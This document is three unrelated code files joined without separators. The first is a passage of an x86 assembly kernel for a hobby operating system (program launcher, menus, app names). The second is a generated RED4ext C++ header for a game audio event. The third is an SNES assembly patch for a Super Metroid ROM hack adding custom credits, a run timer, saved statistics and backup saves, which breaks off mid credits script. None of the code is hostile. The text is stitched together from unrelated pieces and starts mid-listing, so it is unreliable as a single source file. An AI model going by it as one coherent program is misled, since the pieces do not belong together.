app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program debug_stuff: call menu_background mov ax, debugoptions mov bx, 31 call os_option_menu jc app_selector mov si, ax dec si shl si, 1 add si, debugindex1 lodsw mov si, ax mov di, 0100h call os_string_copy mov ax, 0100h mov bx, app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program game_selector: call menu_background mov ax, gameoptions mov bx, 19 call os_option_menu jc option_screen cmp ax, 1 je near load_inkspill cmp ax, 2 je near load_asmtris cmp ax, 3 je near load_cf cmp ax, 4 je near load_spaceinv jmp option_screen launch_program: mov byte [32767], 0 call background pusha mov si, ax mov bx, si mov ax, si call os_string_length mov si, bx add si, ax ; SI now points to end of filename... dec si dec si dec si ; ...and now to start of extension! mov di, app_ext mov cx, 3 rep cmpsb ; Are final 3 chars 'APP'? jne launch_basic ; If not, try 'BAS' popa mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc checkformenu pusha mov cx, 7EFDh sub cx, bx mov di, 100h add di, bx mov al, 0 rep stosb popa call os_show_cursor jmp execute_bin_program launch_basic: popa pusha mov si, ax mov bx, si mov ax, si call os_string_length mov si, bx add si, ax ; SI now points to end of filename... dec si dec si dec si ; ...and now to start of extension! mov di, bas_ext mov cx, 3 rep cmpsb ; Are final 3 chars 'BAS'? jne program_error ; If not, error out popa pusha mov cx, 7EFDh mov di, 100h mov al, 0 rep stosb popa mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc checkformenu call os_show_cursor mov ax, 100h mov si, 0 call os_run_basic mov si, basic_finished_msg call os_print_string call os_wait_for_key call os_clear_screen mov al, 0 mov [0082h], al jmp checkformenu program_error: popa call background mov ax, prog_msg mov bx, 0 mov cx, 0 mov dx, 0 call os_dialog_box jmp checkformenu load_cf: mov ax, cf_name pusha jmp launch_basic load_inkspill: mov ax, inkspill_name pusha jmp launch_basic load_spaceinv: mov ax, spaceinv_name pusha jmp launch_program load_asmtris: mov ax, asmtris_name pusha jmp launch_program load_fileman: push ds mov ds, [driversgmt] mov si, 9000h mov di, 0100h mov cx, 1000h rep movsb pop ds jmp execute_bin_program load_demotour: mov byte [0083h], 1 mov ax, demotour_name mov cx, 100h call os_load_file call os_clear_registers call 100h jmp logoinput load_command: mov ax, cmd_name mov bx, app_prefix mov cx, 00F0h call os_string_join mov bx, cx jmp start_program start_program: ; BX = program name pusha mov cx, 7EFDh mov di, 100h mov al, 0 rep stosb popa mov ax, bx mov cx, 100h ; Where to load the program file call os_load_file ; Load filename pointed to by AX jc systemfilemissing call os_show_cursor execute_bin_program: call os_clear_screen ; Clear the screen before running mov byte [0082h], 0 mov byte [app_running], 1 mov [origstack], sp call os_clear_registers call 100h finish: mov byte [app_running], 0 call os_speaker_off push ax mov ax, 1000h mov ds, ax mov es, ax pop ax pusha mov ah, 0Fh ; Get the current video mode int 10h cmp al, 3 je .skip_gfx mov ax, 3 int 10h .skip_gfx: mov ax, 1003h ; Set text output with certain attributes mov bx, 0 ; to be bright, and not blinking int 10h mov byte [0082h], 0 mov byte [0085h], 0 call os_reset_font popa cmp byte [7FFFh], 1 je near launch_program cmp byte [7FFEh], 1 je near load_command mov al, [0084h] call os_change_disk call os_clear_screen ; When finished, clear screen jmp checkformenu ; and go back to the program list background: pusha mov ax, os_init_msg ; Draw main screen layout mov bx, os_version_msg mov cl, [57000] ; Colour: white text on light blue call os_draw_background popa ret menu_background: pusha mov dl, 0 mov dh, 1 call os_move_cursor mov ah, 09h mov al, ' ' mov bl, [57000] mov bh, 0 mov cx, 1840 int 10h popa ret systemfilemissing: mov ax, noprogerror call os_fatal_error ; And now data for the above code... driversgmt dw 0000h prog_msg db 'This file is not an application!', 0 noprogerror db 'System file not found', 0 appindex1 dw edit_name, viewer_name, calc_name, clock_name appindex2 dw cmd_name, config_name, pixel_name, player_name, hwcheck_name, about_name debugindex1 dw debug1_name, debug2_name, debug3_name, debug4_name, debug5_name debugindex2 dw debug6_name, debug7_name, debug8_name, debug9_name, debug10_name edit_name db 'EDIT', 0 viewer_name db 'VIEWER', 0 calc_name db 'CALC', 0 clock_name db 'CLOCK', 0 cmd_name db 'TERMINAL', 0 config_name db 'CONFIG', 0 pixel_name db 'PIXEL', 0 player_name db 'PLAYER', 0 hwcheck_name db 'HWCHECK', 0 about_name db 'ABOUT', 0 debug1_name db 'DISKTEST', 0 debug2_name db 'KBDTEST', 0 debug3_name db 'SERIAL', 0 debug4_name db 'RTCTEST', 0 debug5_name db 'SECTOR', 0 debug6_name db 'MEMEDIT', 0 debug7_name db 'BOXES', 0 debug8_name db 'DOTS', 0 debug9_name db 'MOUSE', 0 debug10_name db 'VESATEST', 0 cf_name db 'CF.BAS', 0 inkspill_name db 'INKSPILL.BAS', 0 spaceinv_name db 'SPACEINV.APP', 0 asmtris_name db 'ASMTRIS.APP', 0 app_prefix db '.' app_ext db 'APP', 0 bas_ext db 'BAS', 0 exe_ext db 'EXE', 0 fileman_name db 'FILEMAN.APP', 0 demotour_name db 'DEMOTOUR.APP', 0 system_cfg db 'SYSTEM.CFG', 0 system_name db 'MICHALOS.SYS', 0 basic_finished_msg db 'BASIC program ended', 0 empty_string db 0 menuoptions db 'Programs,Games,Log out,Shut down', 0 gameoptions db 'InkSpill,aSMtris,Cosmic Flight,Space Inventors', 0 debugoptions db 'Disk Detection Test,Keyboard Tester,Serial Communication Tester,RTC Clock Tester,Disk Sector Inspector,Memory Editor,Boxes,Dots,Mouse Tester,VESA Tester', 0 progoptions db 'File Manager,Text Editor,Image Viewer,Calculator,Clock,Terminal,Settings,Pixel art editor,Music player,Hardware checker,About InpyoOS,Debug tools', 0 ; ------------------------------------------------------------------ ; SYSTEM VARIABLES -- Settings for programs and system calls ; System runtime variables origstack dw 0 ; SP before launching a program app_running db 0 ; Is a program running? program_drawn db 0 ; Is the program already drawn by os_draw_background? ; ------------------------------------------------------------------ ; FEATURES -- Code to pull into the kernel %INCLUDE "features/icons.asm" %INCLUDE "features/disk.asm" %INCLUDE "features/keyboard.asm" %INCLUDE "features/math.asm" %INCLUDE "features/misc.asm" %INCLUDE "features/ports.asm" %INCLUDE "features/screen.asm" %INCLUDE "features/sound.asm" %INCLUDE "features/string.asm" %INCLUDE "features/basic.asm" %INCLUDE "features/int.asm" %INCLUDE "features/graphics.asm" %INCLUDE "features/upc.asm" %INCLUDE "features/mouse.asm" %INCLUDE "features/name.asm" %INCLUDE "features/shutdown.asm" %ifdef DEBUG %INCLUDE "features/debug.asm" %endif ; ================================================================== ; END OF KERNEL ; ==================================================================
#pragma once // This file is generated from the Game's Reflection data #include <cstdint> #include <RED4ext/Common.hpp> #include <RED4ext/CName.hpp> #include <RED4ext/Scripting/Natives/Generated/red/Event.hpp> namespace RED4ext { namespace game::audio::events { struct SoundSwitch : red::Event { static constexpr const char* NAME = "gameaudioeventsSoundSwitch"; static constexpr const char* ALIAS = NAME; CName switchName; // 40 CName switchValue; // 48 }; RED4EXT_ASSERT_SIZE(SoundSwitch, 0x50); } // namespace game::audio::events } // namespace RED4ext
// compile with xkas-plus // custom credits arch snes.cpu lorom // Defines for the script and credits data define speed $f770 define set $9a17 define delay $9a0d define draw $0000 define end $f6fe, $99fe define blank $1fc0 define row $0040 define pink "table tables/pink.tbl" define yellow "table tables/yellow.tbl" define cyan "table tables/cyan.tbl" define blue "table tables/blue.tbl" define green "table tables/green.tbl" define orange "table tables/orange.tbl" define purple "table tables/purple.tbl" define big "table tables/big.tbl" // store last save slot and used saves in unused SRAM define last_saveslot $701dfa define used_slots_mask $701df8 define was_started_flag32 $701dfc // backup RAM for timer to avoid it to get cleared at boot define timer_backup1 $7fffe2 define timer_backup2 {timer_backup1}+2 define softreset $7fffe6 define scroll_speed $7fffe8 // RTA timer RAM updated during NMI define timer1 $05b8 define timer2 $05ba define stats_sram_sz_b #$0080 define full_stats_area_sz_b #$0300 define stats_sram_sz_w #$0040 define tmp_area_sz #$00df define _stats_ram fc00 define stats_ram $7f{_stats_ram} define stats_timer {stats_ram} define stats_sram_slot0 $1400 define stats_sram_slot1 $1700 define stats_sram_slot2 $1a00 define backup_save_data_off #$02f8 define backup_sram_slot0 $16f8 define backup_sram_slot1 $19f8 define backup_sram_slot2 $1cf8 define last_stats_save_ok_off #$02fc define magic_flag #$caca define current_save_slot $7e0952 define area_index $079f define load_station_index $078b // some scratch space in RAM for backup save system define backup_counter $7fff38 define backup_candidate $7fff3a define stat_resets #$0029 // External Routines // routine in new_game.asm define check_new_game $A1F210 // routine in tracking.asm define update_and_store_region_time $A1EC00 // Multiworld hook addresses define init_memory $b88000 define mw_save_sram $b8813e define mw_load_sram $b8814d // Patch boot to init our stuff org $80844B jml boot1 org $808490 jml boot2 // bypass SRAM check to avoid loading 1st save at boot org $808268 jmp $8294 // Patch load/save/copy org $81800d jsr patch_save_start org $81807f jmp patch_save_end org $8180f7 jmp patch_load_multiworld org $81A24A jsl patch_load // patch load from menu only // patch copy routine to copy SRAM stats org $819A66 jsr copy_stats // patch clear routine to update used save slots bitmask in SRAM org $819cc3 jsr patch_clear // hijack menu display for backup saves org $819f13 jsr load_menu_1st_file org $819f46 jsr load_menu_2nd_file org $819f7c jsr load_menu_3rd_file // Hijack loading new game to reset stats org $82805f jsl clear_values // Hijack the original credits code to read the script from bank $DF org $8b9976 jml scroll org $8b999b jml patch1 org $8b99e5 jml patch2 org $8b9a08 jml patch3 org $8b9a19 jml patch4 // Hijack when samus is in the ship and ready to leave the planet org $a2ab13 jsl game_end // Patch NMI to skip resetting 05ba and instead use that as an extra time counter org $8095e5 nmi: ldx #$00 stx $05b4 ldx $05b5 inx stx $05b5 inc $05b6 .inc: rep #$30 inc $05b8 bne + inc $05ba + bra .end org $809602 bra .inc .end: ply plx pla pld plb rti // Patch boot to init stuff org $80fe00 boot1: lda #$0000 sta {timer_backup1} sta {timer_backup2} // check if first boot ever by checking magic 32-bit value in SRAM lda {was_started_flag32} cmp {magic_flag} bne .first lda {was_started_flag32}+2 cmp {magic_flag} beq .check_reset .first: // no game was ever saved: // init used save slots bitmask lda #$0000 sta {used_slots_mask} // write magic number lda {magic_flag} sta {was_started_flag32} sta {was_started_flag32}+2 // skip soft reset check, since it's the 1st boot bra .cont .check_reset: // check if soft reset, if so, restore RAM timer lda {softreset} cmp #$babe bne .cont lda {timer1} sta {timer_backup1} lda {timer2} sta {timer_backup2} .cont: // vanilla init stuff (will overwrite our timer, hence the backup) ldx #$1ffe lda #$0000 - stz $0000, x dex dex bpl - // restore timer lda {timer_backup1} sta {timer1} lda {timer_backup2} sta {timer2} // Multiworld init jsl {init_memory} // resume jml $808455 boot2: // backup the timer again, game likes to clear this area on boot lda {timer1} sta {timer_backup1} lda {timer2} sta {timer_backup2} // vanilla init stuff ldx #$1ffe - stz $0000,x stz $2000,x stz $4000,x stz $6000,x stz $8000,x stz $a000,x stz $c000,x stz $e000,x dex dex bpl - // restore timer lda {timer_backup1} sta {timer1} lda {timer_backup2} sta {timer2} // clear temp variables ldx {tmp_area_sz} lda #$0000 - sta $7fff00, x dex dex bpl - jml $8084af //// save related routines // zero flag set if value in last_saveslot is valid is_save_slot: // check for the 3 possible valid values lda {last_saveslot} cmp #$0010 beq .end cmp #$0011 beq .end cmp #$0012 beq .end .end: rtl // assuming a valid save slot is in last_saveslot, // stores in X the bank $70 index to stats area // arg A: if 0 we want last stats, otherwise standard stats save_index: pha lda {last_saveslot} cmp #$0010 beq .slot0 cmp #$0011 beq .slot1 .slot2: ldx #{stats_sram_slot2} bra .last .slot0: ldx #{stats_sram_slot0} bra .last .slot1: ldx #{stats_sram_slot1} .last: pla bne .end txa clc adc {stats_sram_sz_b} tax .end: rtl warnpc $80ffbf // Rolling backup save mechanism: // // Additional data in saves : // - initial save slot ID // - a player usage flag, set when a game is loaded by the user // - a backup counter, incremented everytime a backup is made // - when loading a game (i.e. the player actually uses a file), // mark the file as used with the player usage flag. // - if loading an existing file without the player flag (a backup), // copy over stats from current player save (non-backup with the // closest save counter? or highest?), or directly from RAM // if possible // - when saving a game, and it's not the first file creating save, and save // station used is different from the last one : // - scan through save files to determine the best candidate to use as // backup // - priority: empty save, old backup, recent backup // - ignore save files with player flag set (was loaded once) // - ignore backup files from different slots // Patch load and save routines // a save will always be performed when starting a new game (see new_game.asm) org $81ef20 // make optional to auto backup save, set this flag to non-zero in ROM to enable the feature opt_backup: dw $0000 // put that here to have it at a fixed location (will be called from new_game) print "new_save: ", org new_save: ldx #$0000 jsl start_item // call save routine lda {current_save_slot} jsl $818000 // if backup saves are disabled, return lda.l opt_backup beq .end // set current save slot as used in SRAM bitmask lda {current_save_slot} asl tax lda {used_slots_mask} ora $819af4,x // bitmask index table in ROM sta {used_slots_mask} // init backup save data : // first, get offset in SRAM, using save_index routine, // which is based on last_saveslot value, which is correct, // since we juste saved stats (through patch_save_end) jsl save_index // A is non-0, so get standard stats addr // x += backup_save_data_off txa clc adc {backup_save_data_off} tax // store current save slot in the save itself (useful if we reload // a backup save, to copy over stats from original save) lda {current_save_slot} sta $700000,x // store 0 + high bit set (player flag) as backup counter lda #$8000 sta $700002,x .end: rtl // save slot data: // slot ID, slot bitmask, SRAM addr for backup data, SRAM addr for load station info // (SRAM addresses are offsets in bank $70) slots_data: slot0_data: dw $0000,$0001,{backup_sram_slot0},$0166 slot1_data: dw $0001,$0002,{backup_sram_slot1},$07c2 slot2_data: dw $0002,$0004,{backup_sram_slot2},$0e1e // backup is needed if no existing backup of current save slot // or last backup is at a different save station than this one // // return carry set if we need to backup the save, and we can use a // slot to do so. // sets the most suitable save slot in backup_candidate, // or 3 if no suitable slot found (in that case, carry is clear anyway) is_backup_needed: // save DB and set it to current bank in order to // read slots data tables phb phk plb // save X and Y as they will be used phx phy // first, check if current save station is different from last save lda {current_save_slot} asl asl asl tay ldx slots_data+6,y lda $700000,x cmp {load_station_index} bne .check_needed lda $700002,x cmp {area_index} beq .no_backup .check_needed: // find out our backup counter, and save it in backup_counter ldx slots_data+4,y lda $700002,x and #$7fff sta {backup_counter} // backup_candidate will be used to store the backup slot candidate // and various info as follows: // // eo------------ss // // ss: save slot usable for backup // e: ss is empty // o: ss contains an old backup // (e and o are only use internally by check_slot to determine ss) lda #$0003 // 3 is used as invalid value marker, as slots are 0 to 2 sta {backup_candidate} // check all slots ldy #slot0_data jsr check_slot ldy #slot1_data jsr check_slot ldy #slot2_data jsr check_slot // clear all our work flags from backup_candidate lda {backup_candidate} and #$0003 // check that we can actually backup somewhere cmp #$0003 beq .no_backup sta {backup_candidate} sec bra .end .no_backup: clc .end: ply plx plb rts // arg. Y: offset to slot data in bank 81 (DB is assumed 81) // sets flags and candidate in backup_candidate check_slot: // check empty save bitmask lda $0002,y and {used_slots_mask} // if save empty, mark as backup candidate, with high bit (e) // set to indicate it's an empty file bne .not_empty lda {backup_candidate} and #$fffc ora $0000,y ora #$8000 sta {backup_candidate} bra .end .not_empty: // if not our save slot, skip ldx $0004,y lda $700000,x cmp {current_save_slot} bne .end // if not a backup save, skip lda $700002,x bmi .end // if backup counter is different: cmp {backup_counter} beq .last_backup // mark as backup candidate, with 'old backup' (o) bit marked // only if no (e) flag bit marked yet lda {backup_candidate} bmi .end and #$fffc ora $0000,y ora #$4000 sta {backup_candidate} bra .end .last_backup: // we're here only if this save slot is the most recent backup lda {backup_candidate} bit #$c000 // checks both e and o flags bne .end // no better candidate yet and #$fffc ora $0000,y sta {backup_candidate} .end: rts backup_save: // increment backup counter in our save file lda {current_save_slot} asl asl asl tax lda.l slots_data+4,x tax lda $700002,x inc sta $700002,x // direct page indirect addressing copy : // reuse $47/$4A used in decompression routine (according to RAM map) // we have to use direct page for addresses, and I'm not sure we can use // the start of direct page in game as it is done in original menu // routine ($00/$03) // set bank $70 as source and dest banks for copy lda #$0070 sta $49 sta $4c // source slot is current one lda {current_save_slot} asl tax lda $81812b,x // get SRAM offset in bank 70 for slot sta $47 // destination slot is in backup_candidate lda {backup_candidate} asl tax lda $81812b,x // get SRAM offset in bank 70 for slot sta $4a // copy save file ldy #$0000 - lda [$47],y sta [$4a],y iny iny cpy #$065c bmi - // copy checksum lda {current_save_slot} asl tax lda $701ff0,x pha lda $701ff8,x pha lda $700000,x pha lda $700008,x pha lda {backup_candidate} asl tax pla sta $700008,x pla sta $700000,x pla sta $701ff8,x pla sta $701ff0,x // copy stats (includes backup data) lda {current_save_slot} asl tax lda save_slots,x sta $47 lda {backup_candidate} asl tax lda save_slots,x sta $4a ldy #$0000 - lda [$47],y sta [$4a],y iny iny cpy {full_stats_area_sz_b} bcc - // clear player flag in backup data area lda $4a // still has destination slot SRAM offset clc adc {backup_save_data_off} tax lda $700002,x and #$7fff sta $700002,x // mark backup slot as used in bitmask lda {backup_candidate} asl tax lda {used_slots_mask} ora $819af4,x // bitmask index table in ROM sta {used_slots_mask} rts patch_save_start: pha // save A, it is used as arg in hijacked function lda.l opt_backup beq .end jsl {check_new_game} beq .end // we have backup saves enabled, and it is not the 1st save: // check if we shall backup the save jsr is_backup_needed bcc .end jsr backup_save .end: pla and #0003 // hijacked code rts patch_save_end: lda {timer1} sta {stats_timer} lda {timer2} sta {stats_timer}+2 lda #$0001 jsl save_stats jsl {mw_save_sram} .end: ply plx clc plb plp rtl print "patch_load: ", org patch_load: phb phx phy pea $7e7e plb plb // call load routine jsl $818085 bcc .backup_check // skip to end if new file or SRAM corrupt jmp .end .backup_check: lda.l opt_backup beq .check // if backup saves are enabled: // check if we load a backup save, and if so, get stats // from original save slot, and mark this slot as non-backup lda {current_save_slot} asl asl asl tax lda.l slots_data+4,x tax lda $700002,x bmi .check .load_backup: phx // n flag not set, we're loading a backup // check if we're soft resetting: if so, will take stats from RAM lda {softreset} cmp #$babe beq .load_backup_end // load stats from original save SRAM lda $700000,x // save slot in SRAM clc adc #$0010 sta {last_saveslot} lda #$0000 jsl save_index jsl load_stats_at // update live timer lda {stats_timer} sta {timer1} lda {stats_timer}+2 sta {timer2} .load_backup_end: // update current save slot in SRAM, and set player flag plx lda {current_save_slot} sta $700000,x clc adc #$0010 sta {last_saveslot} lda $700002,x ora #$8000 sta $700002,x bra .end_ok .check: // check save slot lda {current_save_slot} clc adc #$0010 cmp {last_saveslot} bne .load // we're loading the same save that's played last lda {softreset} cmp #$babe beq .end_ok // soft reset, use stats and timer from RAM // TODO add menu time to pause stat and make it a general menus stat? .load: // load stats from SRAM jsl load_stats // update live timer lda {stats_timer} sta {timer1} lda {stats_timer}+2 sta {timer2} .end_ok: // place marker for resets lda #$babe sta {softreset} // increment reset count lda {stat_resets} jsl inc_stat jsl save_last_stats // return carry clear clc .end: jsl {mw_load_sram} ply plx plb rtl files_tilemaps: dw $b436,$b456,$b476 // arg A=file load_menu_file: phx pha lda.l opt_backup beq .nochange .check_slot: pla pha asl tax lda $819af4,x // bitmask index table in ROM and {used_slots_mask} beq .nochange .load_slot: // load save slot value in SRAM pla pha asl asl asl tax lda.l slots_data+4,x tax lda $700000,x bra .load_tilemap .nochange: pla pha .load_tilemap: asl tax lda.l files_tilemaps,x tay .end: pla plx rts load_menu_1st_file: lda #$0000 jmp load_menu_file load_menu_2nd_file: lda #$0001 jmp load_menu_file load_menu_3rd_file: lda #$0002 jmp load_menu_file save_slots: dw {stats_sram_slot0} dw {stats_sram_slot1} dw {stats_sram_slot2} print "copy_stats:", org copy_stats: // src slot idx = 19b7, dst slot idx = 19b9 lda $19b7 asl tax lda save_slots,x sta $00 lda $19b9 asl tax lda save_slots,x sta $03 ldy #$0000 // bank part for indirect long in already setup by original // routine at $02 and $05 .loop: lda [$00],y sta [$03],y iny iny cpy {full_stats_area_sz_b} bcc .loop // disable save slot check. if data is copied we cannot rely on RAM contents lda #$0000 sta {last_saveslot} lda $19B7 // hijacked code rts // clear slot in used_slots_mask in SRAM patch_clear: // $19b7 hold slot being cleared lda $19b7 asl tax lda $819af4,x // bitmask index table in ROM eor #$ffff and {used_slots_mask} sta {used_slots_mask} .end: lda $19b7 // hijacked code rts patch_load_multiworld: lda $7e0952 clc adc #$0010 jsl {mw_load_sram} ply plx clc plb rtl print "b81 end: ", org warnpc $81f29f ////////////////////////// CREDITS ///////////////////////////// // Hijack after decompression of regular credits tilemaps org $8be0d1 jsl copy // Load credits script data from bank $df instead of $8c org $8bf770 // set scroll speed routine ({speed} instruction in credits script) set_scroll: rep #$30 phb; pea $df00; plb; plb lda $0000, y sta {scroll_speed} iny iny plb rts scroll: inc $1995 lda $1995 cmp {scroll_speed} beq + lda $1997 jml $8b9989 + stz $1995 inc $1997 lda $1997 jml $8b9989 patch1: phb; pea $df00; plb; plb lda $0000, y bpl + plb jml $8b99a0 + plb jml $8b99aa patch2: sta $0014 phb; pea $df00; plb; plb lda $0002, y plb jml $8b99eb patch3: phb; pea $df00; plb; plb lda $0000, y tay plb jml $8b9a0c patch4: phb; pea $df00; plb; plb lda $0000, y plb sta $19fb jml $8b9a1f // Copy custom credits tilemap data from $ceb240,x to $7f2000,x copy: pha phx ldx #$0000 - lda.l credits, x cmp #$0000 beq + sta $7f2000, x inx inx jmp - + ldx #$0000 - lda.l itemlocations, x cmp #$0000 beq + sta $7fa000, x inx inx jmp - + jsl write_stats lda #$0002 sta {scroll_speed} plx pla jsl $8b95ce rtl clear_values: php rep #$30 jsl {check_new_game} bne .ret ldx #$0000 lda #$0000 - jsl store_stat inx cpx {stats_sram_sz_w} bne - // Clear RTA Timer lda #$0000 sta {timer1} sta {timer2} // place marker for resets lda #$babe sta {softreset} .ret: plp jsl $80a07b // hijacked code rtl // Game has ended, save RTA timer to RAM and copy all stats to SRAM a final time game_end: // update region time (will be slightly off, but avoids dealing with negative substraction result, see below) jsl {update_and_store_region_time} // Subtract frames from pressing down at ship to this code running lda {timer1} sec sbc #$013d sta {timer1} lda #$0000 // if carry clear this will subtract one from the high byte of timer sbc {timer2} // save timer in stats lda {timer1} sta {stats_timer} lda {timer2} sta {stats_timer}+2 // save stats to SRAM lda #$0001 jsl save_stats // hijacked code lda #$000a jsl $90f084 rtl org $dfd4f0 // Draw full time as hh:mm:ss:ff // Pointer to first byte of RAM in A draw_full_time: phx phb pea $7f7f; plb; plb tax lda $0000, x sta $16 lda $0002, x sta $14 lda #$003c sta $12 lda #$ffff sta $1a jsr div32 // frames in $14, rest in $16 iny; iny; iny; iny; iny; iny // Increment Y three positions forward to write the last value lda $14 jsr draw_two tya sec sbc #$0010 tay // Skip back 8 characters to draw the top three things lda $16 jsr draw_time plb plx rts // Draw time as xx:yy:zz draw_time: phx phb dey; dey; dey; dey; dey; dey // Decrement Y by 3 characters so the time count fits pea $7f7f; plb; plb sta $004204 sep #$20 lda #$ff sta $1a lda #$3c sta $004206 pha; pla; pha; pla; rep #$20 lda $004216 // Seconds or Frames sta $12 lda $004214 // First two groups (hours/minutes or minutes/seconds) sta $004204 sep #$20 lda #$3c sta $004206 pha; pla; pha; pla; rep #$20 lda $004216 sta $14 lda $004214 // First group (hours or minutes) jsr draw_two iny; iny // Skip past separator lda $14 // Second group (minutes or seconds) jsr draw_two iny; iny lda $12 // Last group (seconds or frames) jsr draw_two plb plx rts // Draw 5-digit value to credits tilemap // A = number to draw, Y = row address draw_value: phx phb pea $7f7f; plb; plb sta $004204 lda #$0000 sta $1a // Leading zeroes flag sep #$20 lda #$64 sta $004206 pha; pla; pha; pla; rep #$20 lda $004216 // Last two digits sta $12 lda $004214 // Top three digits jsr draw_three lda $12 jsr draw_two .end: plb plx rts draw_three: sta $004204 sep #$20 lda #$64 sta $004206 pha; pla; pha; pla; rep #$20 lda $004214 // Hundreds asl tax cmp $1a beq + lda numbers_top, x sta $0034, y lda numbers_bot, x sta $0074, y dec $1a + iny; iny // Next number lda $004216 draw_two: sta $004204 sep #$20 lda #$0a sta $004206 pha; pla; pha; pla; rep #$20 lda $004214 asl tax cmp $1a beq + lda numbers_top, x sta $0034, y lda numbers_bot, x sta $0074, y dec $1a + lda $004216 asl tax cmp $1a beq + lda numbers_top, x sta $0036, y lda numbers_bot, x sta $0076, y dec $1a + iny; iny; iny; iny rts // Loop through stat table and update RAM with numbers representing those stats write_stats: phy phb php pea $dfdf; plb; plb rep #$30 jsl load_stats // Copy stats back from SRAM ldx #$0000 ldy #$0000 .loop: // Get pointer to table tya asl; asl; asl; tax // Load stat type lda stats+4, x beq .end cmp #$0001 beq .number cmp #$0002 beq .time cmp #$0003 beq .fulltime jmp .continue .number: // Load statistic lda stats, x jsl load_stat pha // Load row address lda stats+2, x tyx tay pla jsr draw_value txy jmp .continue .time: // Load statistic lda stats, x jsl load_stat pha // Load row address lda stats+2, x tyx tay pla jsr draw_time txy jmp .continue .fulltime: lda stats, x // Get stat id asl clc adc #${_stats_ram} // Get pointer to value instead of actual value pha // Load row address lda stats+2, x tyx tay pla jsr draw_full_time txy jmp .continue .continue: iny jmp .loop .end: plp plb ply rtl // 32-bit by 16-bit division routine I found somewhere div32: phy phx php rep #$30 sep #$10 sec lda $14 sbc $12 bcs uoflo ldx #$11 rep #$10 ushftl: rol $16 dex beq umend rol $14 lda #$0000 rol sta $18 sec lda $14 sbc $12 tay lda $18 sbc #$0000 bcc ushftl sty $14 bra ushftl uoflo: lda #$ffff sta $16 sta $14 umend: plp plx ply rts numbers_top: dw $0060, $0061, $0062, $0063, $0064, $0065, $0066, $0067, $0068, $0069, $006a, $006b, $006c, $006d, $006e, $006f numbers_bot: dw $0070, $0071, $0072, $0073, $0074, $0075, $0076, $0077, $0078, $0079, $007a, $007b, $007c, $007d, $007e, $007f print "load_stats: ", org load_stats: phx phy lda {current_save_slot} clc adc #$0010 sta {last_saveslot} // tries to load from last stats jsr is_last_save_flag_ok bcc .notok lda #$0000 jsl save_index .notok: jsl load_stats_at ply plx rtl // arg X = index of where to load stats from in bank $70 load_stats_at: phx phb pea $7f7f plb plb ldy #$0000 .loop: lda $700000,x sta ${_stats_ram},y iny iny inx inx cpy {stats_sram_sz_b} bcc .loop plb plx rtl // return carry flag set if flag ok is_last_save_flag_ok: phx pha lda #$0001 jsl save_index txa clc adc {last_stats_save_ok_off} tax lda {magic_flag} cmp $700000,x beq .flag_ok clc bra .end .flag_ok: sec .end: pla plx rts // args: A = value to store // X and A untouched set_last_save_ok_flag: phx pha lda #$0001 jsl save_index txa clc adc {last_stats_save_ok_off} tax pla sta $700000,x plx rts // arg X = index of where to save stats in bank $70 save_stats_at: phx phb pea $7f7f plb plb ldy #$0000 .loop: lda ${_stats_ram},y sta $700000,x iny iny inx inx cpy {stats_sram_sz_b} bcc .loop plb plx rts // save stats both in standard and last areas // arg: A = 0 if we just want to save last stats // A != 0 save all stats (save stations) print "save_stats: ", org save_stats: phx phy pha lda {current_save_slot} clc adc #$0010 sta {last_saveslot} pla beq .last // skip standard save if A=0 jsl save_index // A is not 0, so we ask for standard stats index jsr save_stats_at lda #$0000 .last: jsl save_index // A is 0, so we ask for last stats index lda #$0000 jsr set_last_save_ok_flag jsr save_stats_at lda {magic_flag} jsr set_last_save_ok_flag ply plx rtl warnpc $dfd80f // Increment Statistic (in A) org $dfd810 inc_stat: phx asl tax lda {stats_ram}, x inc sta {stats_ram}, x plx rtl warnpc $dfd81f org $dfd820 // save last stats. to be used from door transitions/menus // keeps all registers intact save_last_stats: pha lda {timer1} sta {stats_timer} lda {timer2} sta {stats_timer}+2 lda #$0000 jsl save_stats pla rtl warnpc $dfd83f // Decrement Statistic (in A) org $dfd840 dec_stat: phx asl tax lda {stats_ram}, x dec sta {stats_ram}, x plx rtl update_graphic: cmp #$0000 beq + lda #$0001 sta $7E09C0 + lda $7E09A2 bit #$4000 beq + jsl $809A2E // thanks PierRoulette + lda $7E09A2 bit #$8000 beq + jsl $809A3E // thanks PierRoulette + jsl $90AC8D // thanks PierRoulette rts warnpc $dfd87f // Store Statistic (value in A, stat in X) org $dfd880 store_stat: phx pha txa asl tax pla sta {stats_ram}, x plx rtl warnpc $dfd8af // Load Statistic (stat in A, returns value in A) org $dfd8b0 load_stat: phx asl tax lda {stats_ram}, x plx rtl start_item_data_major: dw $0000, $0000, $0000, $0000 start_item_data_minor: dw $0063, $0063, $0000, $0000 dw $0000, $0000, $0000, $0000 start_item_data_reserve: dw $0000, $0000 start_item: - lda start_item_data_major, x sta $7E09A2, x inx inx cpx #$0008 bne - ldx #$0000 - lda start_item_data_minor, x sta $7E09C2, x inx inx cpx #$0010 bne - ldx #$0000 - lda start_item_data_reserve, x sta $7E09D4, x inx inx cpx #$0004 bne - jsr update_graphic rtl warnpc $dfd91a // New credits script in free space of bank $DF org $dfd91b script: dw {set}, $0002 - dw {draw}, {blank} dw {delay}, - // Show a compact and sped up version of the original credits so we get time to add more // change scroll speed to 1 pixel per frame // NOTE: when adding new stuff to the credits, remove blanks from // "Last info" section, as this credits script is in sync with credits music dw {speed}, $0001 dw {draw}, {row}*0 // SUPER METROID STAFF dw {draw}, {blank} dw {draw}, {row}*4 // PRODUCER dw {draw}, {blank} dw {draw}, {row}*7 // MAKOTO KANOH dw {draw}, {row}*8 dw {draw}, {blank} dw {draw}, {row}*9 // DIRECTOR dw {draw}, {blank} dw {draw}, {row}*10 // YOSHI SAKAMOTO dw {draw}, {row}*11 dw {draw}, {blank} dw {draw}, {row}*12 // BACK GROUND DESIGNERS dw {draw}, {blank} dw {draw}, {row}*13 // HIROFUMI MATSUOKA dw {draw}, {row}*14 dw {draw}, {blank} dw {draw}, {row}*15 // MASAHIKO MASHIMO dw {draw}, {row}*16 dw {draw}, {blank} dw {draw}, {row}*17 // HIROYUKI KIMURA dw {draw}, {row}*18 dw {draw}, {blank} dw {draw}, {row}*19 // OBJECT DESIGNERS dw {draw}, {blank} dw {draw}, {row}*20 // TOHRU OHSAWA dw {draw}, {row}*21 dw {draw}, {blank} dw {draw}, {row}*22 